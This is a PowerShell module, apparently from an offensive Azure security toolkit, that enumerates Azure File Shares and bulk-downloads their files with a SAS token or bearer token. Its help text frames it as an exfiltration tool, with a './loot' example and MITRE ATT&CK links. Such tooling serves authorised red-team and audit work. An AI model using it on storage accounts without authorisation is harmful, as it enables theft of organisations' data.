Public/Exfiltration/Get-FileShareContent.ps1

function Get-FileShareContent {
    [CmdletBinding(DefaultParameterSetName = "Authenticated")]
    param (
        [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true)]
        [ValidatePattern('^[a-z0-9]{3,24}$', ErrorMessage = "Storage account name must be 3-24 lowercase alphanumeric characters")]
        [Alias('storage', 'account', 'sa')]
        [string]$StorageAccountName,

        [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true)]
        [Alias('share', 'fs')]
        [string]$FileShareName,

        [Parameter(Mandatory = $false)]
        [Alias('directory', 'folder')]
        [string]$Path = "",

        [Parameter(Mandatory = $true, ParameterSetName = "SasToken")]
        [Alias('sas', 'token')]
        [string]$SasToken,

        [Parameter(Mandatory = $false)]
        [switch]$Recurse,

        [Parameter(Mandatory = $false)]
        [string]$OutputPath,

        [Parameter(Mandatory = $false)]
        [Alias('save', 'fetch')]
        [switch]$Download,

        [Parameter(Mandatory = $false)]
        [ValidateSet("Object", "JSON", "CSV", "Table")]
        [Alias("output", "o")]
        [string]$OutputFormat = "Table"
    )

    begin {
        Write-Verbose "Starting function $($MyInvocation.MyCommand.Name)"
        
        # Clean up SAS token if provided - remove leading ? if present
        if ($SasToken) {
            $SasToken = $SasToken.TrimStart('?')
        }

        # Build base URL
        $baseUrl = "https://$StorageAccountName.file.core.windows.net"

        # Determine auth method
        if ($PSCmdlet.ParameterSetName -eq "SasToken") {
            $authMethod = "SasToken"
            Write-Verbose "[+] Using SAS token authentication"
        }
        else {
            $authMethod = "Bearer"
            Write-Verbose "[+] Using current authentication context"
            
            # Get token for Azure Storage
            try {
                $token = Get-AzAccessToken -ResourceUrl "https://storage.azure.com/" -ErrorAction Stop
                $accessToken = $token.Token
            }
            catch {
                Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message "Failed to get access token. Ensure you're authenticated with Connect-ServicePrincipal or Connect-AzAccount" -Severity 'Error'
                return
            }
        }
    }

    process {
        try {
            # Handle FileShareName with path (e.g., "docs/config")
            if ($FileShareName -and $FileShareName.Contains('/')) {
                $parts = $FileShareName -split '/', 2
                $FileShareName = $parts[0]
                if ([string]::IsNullOrWhiteSpace($Path)) {
                    $Path = $parts[1]
                    Write-Verbose "[+] Split FileShareName: Share='$FileShareName', Path='$Path'"
                }
            }

            # If no FileShareName provided, list all shares
            if ([string]::IsNullOrWhiteSpace($FileShareName)) {
                Write-Verbose "[+] No FileShareName provided - listing all file shares"
                $shares = Get-FileShares -BaseUrl $baseUrl -AuthMethod $authMethod -SasToken $SasToken -AccessToken $accessToken
                return (Format-BlackCatOutput -Data $shares -OutputFormat $OutputFormat -FunctionName $MyInvocation.MyCommand.Name)
            }

            # List contents of specific share/path
            $contents = Get-DirectoryContents -BaseUrl $baseUrl -FileShareName $FileShareName -Path $Path -AuthMethod $authMethod -SasToken $SasToken -AccessToken $accessToken -Recurse:$Recurse

            # Handle download if OutputPath is specified
            if (-not [string]::IsNullOrEmpty($OutputPath)) {
                if (-not (Test-Path -Path $OutputPath)) {
                    Write-Host " Creating output directory: $OutputPath" -ForegroundColor Yellow
                    New-Item -ItemType Directory -Path $OutputPath -Force | Out-Null
                }

                $files = $contents | Where-Object { $_.Type -eq 'File' }
                Write-Host "Downloading $($files.Count) files..." -ForegroundColor Cyan

                foreach ($file in $files) {
                    $fileUrl = "$baseUrl/$FileShareName$($file.Path)"
                    if ($authMethod -eq "SasToken") {
                        $fileUrl = "$fileUrl`?$SasToken"
                    }

                    $downloadPath = Join-Path -Path $OutputPath -ChildPath $file.Path
                    $downloadDir = Split-Path -Path $downloadPath -Parent

                    if (-not (Test-Path -Path $downloadDir)) {
                        New-Item -ItemType Directory -Path $downloadDir -Force | Out-Null
                    }

                    try {
                        $headers = @{}
                        if ($authMethod -eq "Bearer") {
                            $headers["Authorization"] = "Bearer $accessToken"
                            $headers["x-ms-version"] = "2021-06-08"
                        }

                        Invoke-WebRequest -Uri $fileUrl -OutFile $downloadPath -Headers $headers -UseBasicParsing
                        Write-Host " Downloaded: $($file.Path)" -ForegroundColor Green
                    }
                    catch {
                        Write-Host " Failed: $($file.Path) - $($_.Exception.Message)" -ForegroundColor Red
                    }
                }
            }

            return (Format-BlackCatOutput -Data $contents -OutputFormat $OutputFormat -FunctionName $MyInvocation.MyCommand.Name)
        }
        catch {
            Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message "Error: $($_.Exception.Message)" -Severity 'Error'
        }
    }
}

function Get-FileShares {
    param (
        [string]$BaseUrl,
        [string]$AuthMethod,
        [string]$SasToken,
        [string]$AccessToken
    )

    $listUrl = "$BaseUrl/?comp=list"

    if ($AuthMethod -eq "SasToken") {
        $listUrl = "$listUrl&$SasToken"
        $headers = @{
            "x-ms-version" = "2021-06-08"
        }
    }
    else {
        $headers = @{
            "Authorization" = "Bearer $AccessToken"
            "x-ms-version"  = "2021-06-08"
        }
    }

    try {
        $rawResponse = Invoke-RestMethod -Uri $listUrl -Headers $headers -UseBasicParsing
        
        # Handle BOM in response - Azure Storage returns UTF-8 BOM which breaks XML parsing
        if ($rawResponse -is [string]) {
            $cleanResponse = $rawResponse.TrimStart([char]0xFEFF) -replace '^\xEF\xBB\xBF', ''
            $xml = New-Object System.Xml.XmlDocument
            $xml.LoadXml($cleanResponse)
            $response = $xml
        }
        else {
            $response = $rawResponse
        }
        
        $shares = @()
        
        # Parse XML response
        if ($response.EnumerationResults.Shares.Share) {
            foreach ($share in $response.EnumerationResults.Shares.Share) {
                $status = if ($share.Properties.DeletedTime) { "🗑️ Deleted" } else { "Active" }
                
                $shares += [PSCustomObject]@{
                    Name            = $share.Name
                    Type            = "FileShare"
                    Status          = $status
                    LastModified    = $share.Properties.'Last-Modified'
                    Quota           = $share.Properties.Quota
                    DeletedTime     = $share.Properties.DeletedTime
                    RemainingDays   = $share.Properties.RemainingRetentionDays
                }
            }
        }

        Write-Host "Found $($shares.Count) file shares" -ForegroundColor Green
        return $shares
    }
    catch {
        Write-Message -FunctionName "Get-FileShares" -Message "Failed to list shares: $($_.Exception.Message)" -Severity 'Error'
        throw
    }
}

function Get-DirectoryContents {
    param (
        [string]$BaseUrl,
        [string]$FileShareName,
        [string]$Path,
        [string]$AuthMethod,
        [string]$SasToken,
        [string]$AccessToken,
        [switch]$Recurse
    )

    # Clean up path
    $Path = $Path.TrimStart('/')
    
    if ([string]::IsNullOrWhiteSpace($Path)) {
        $listUrl = "$BaseUrl/$FileShareName/?restype=directory&comp=list"
    }
    else {
        $listUrl = "$BaseUrl/$FileShareName/$Path`?restype=directory&comp=list"
    }

    if ($AuthMethod -eq "SasToken") {
        $listUrl = "$listUrl&$SasToken"
        $headers = @{
            "x-ms-version" = "2021-06-08"
        }
    }
    else {
        $headers = @{
            "Authorization" = "Bearer $AccessToken"
            "x-ms-version"  = "2021-06-08"
        }
    }

    try {
        $rawResponse = Invoke-RestMethod -Uri $listUrl -Headers $headers -UseBasicParsing
        
        # Handle BOM in response - Azure Storage returns UTF-8 BOM which breaks XML parsing
        if ($rawResponse -is [string]) {
            $cleanResponse = $rawResponse.TrimStart([char]0xFEFF) -replace '^\xEF\xBB\xBF', ''
            $xml = New-Object System.Xml.XmlDocument
            $xml.LoadXml($cleanResponse)
            $response = $xml
        }
        else {
            $response = $rawResponse
        }
        
        $contents = @()
        $currentPath = if ([string]::IsNullOrWhiteSpace($Path)) { "" } else { "/$Path" }

        # Parse directories
        if ($response.EnumerationResults.Entries.Directory) {
            $directories = @($response.EnumerationResults.Entries.Directory)
            foreach ($dir in $directories) {
                $dirPath = "$currentPath/$($dir.Name)"
                
                $contents += [PSCustomObject]@{
                    Name         = $dir.Name
                    Type         = "Directory"
                    Path         = $dirPath
                    Size         = $null
                    LastModified = $dir.Properties.'Last-Modified'
                    FullUrl      = "$BaseUrl/$FileShareName$dirPath"
                }

                # Recurse into subdirectories if requested
                if ($Recurse) {
                    $subContents = Get-DirectoryContents -BaseUrl $BaseUrl -FileShareName $FileShareName -Path $dirPath.TrimStart('/') -AuthMethod $AuthMethod -SasToken $SasToken -AccessToken $AccessToken -Recurse:$Recurse
                    $contents += $subContents
                }
            }
        }

        # Parse files
        if ($response.EnumerationResults.Entries.File) {
            $files = @($response.EnumerationResults.Entries.File)
            foreach ($file in $files) {
                $filePath = "$currentPath/$($file.Name)"
                
                $contents += [PSCustomObject]@{
                    Name         = $file.Name
                    Type         = "File"
                    Path         = $filePath
                    Size         = [int64]$file.Properties.'Content-Length'
                    LastModified = $file.Properties.'Last-Modified'
                    FullUrl      = "$BaseUrl/$FileShareName$filePath"
                }
            }
        }

        if ($currentPath -eq "") {
            Write-Host "Found $($contents.Count) items in share '$FileShareName'" -ForegroundColor Green
        }

        return $contents
    }
    catch {
        if ($_.Exception.Response.StatusCode -eq 404) {
            Write-Verbose "Path not found or empty: $Path"
            return @()
        }
        Write-Message -FunctionName "Get-DirectoryContents" -Message "Failed to list contents: $($_.Exception.Message)" -Severity 'Error'
        throw
    }
}

<#
    .SYNOPSIS
        Lists file shares or contents from an Azure Storage Account.
 
    .DESCRIPTION
        Lists file shares or contents from an Azure Storage Account using SAS tokens or authenticated context. Enumerates directory structures and files in Azure File Shares. Useful for discovering and exfiltrating file-based data from storage services.
 
    .PARAMETER StorageAccountName
        The name of the Azure Storage Account (3-24 lowercase alphanumeric characters).
        Aliases: storage, account, sa
 
    .PARAMETER FileShareName
        The name of the file share to enumerate. If not provided, lists all shares in the account.
        Aliases: share, fs
 
    .PARAMETER Path
        The directory path within the file share to list. Defaults to root.
        Aliases: directory, folder
 
    .PARAMETER SasToken
        A SAS token string for authentication. Can include or exclude the leading '?'.
        Aliases: sas, token
 
    .PARAMETER Recurse
        When specified, recursively enumerates all subdirectories.
 
    .PARAMETER OutputPath
        The directory where files will be downloaded. When specified, automatically downloads all files from the share/path.
 
    .PARAMETER Download
        Legacy parameter. No longer required - specifying -OutputPath is sufficient to trigger download.
        Aliases: save, fetch
 
    .PARAMETER OutputFormat
        Specifies the output format for the results. Valid values are:
        - Table: Displays results in a formatted table (default)
        - Object: Returns PowerShell objects for pipeline usage
        - JSON: Exports results to a JSON file
        - CSV: Exports results to a CSV file
        Aliases: output, o
 
    .EXAMPLE
        Get-FileShareContent -StorageAccountName "bluemountaintravelsa" -SasToken $token
 
        Lists all file shares in the storage account using the provided SAS token.
 
    .EXAMPLE
        Get-FileShareContent -StorageAccountName "bluemountaintravelsa" -SasToken $token -OutputFormat Object
 
        Lists all file shares and returns objects for pipeline processing.
 
    .EXAMPLE
        Get-FileShareContent -StorageAccountName "bluemountaintravelsa" -FileShareName "docs" -SasToken $token -OutputFormat JSON
 
        Lists contents of the 'docs' share and exports results to a JSON file.
 
    .EXAMPLE
 
        Lists all file shares in the storage account using the provided SAS token.
 
    .EXAMPLE
        Get-FileShareContent -StorageAccountName "bluemountaintravelsa" -FileShareName "docs" -SasToken $token
 
        Lists all directories and files in the root of the 'docs' file share.
 
    .EXAMPLE
        Get-FileShareContent -sa "bluemountaintravelsa" -share "docs" -Path "/config" -sas $token
 
        Lists contents of the /config directory within the 'docs' share.
 
    .EXAMPLE
        Get-FileShareContent -StorageAccountName "bluemountaintravelsa" -FileShareName "docs" -SasToken $token -Recurse
 
        Recursively lists all directories and files in the 'docs' share.
 
    .EXAMPLE
        Get-FileShareContent -StorageAccountName "bluemountaintravelsa" -FileShareName "docs" -SasToken $token -OutputPath "./loot"
 
        Downloads all files from the 'docs' share to the ./loot directory.
 
    .EXAMPLE
        Get-FileShareContent -StorageAccountName "bluemountaintravelsa" -FileShareName "docs"
 
        Lists contents using the current authenticated context (Connect-ServicePrincipal).
 
    .NOTES
        Author: Rogier Dijkman
         
        The SAS token needs appropriate permissions:
        - ss=f (File service)
        - srt=sco (Service, Container, Object) for full enumeration
        - sp=rl (Read, List) minimum permissions
 
    .LINK
        MITRE ATT&CK Tactic: TA0010 - Exfiltration
        https://attack.mitre.org/tactics/TA0010/
 
    .LINK
        MITRE ATT&CK Technique: T1530 - Data from Cloud Storage
        https://attack.mitre.org/techniques/T1530/
#>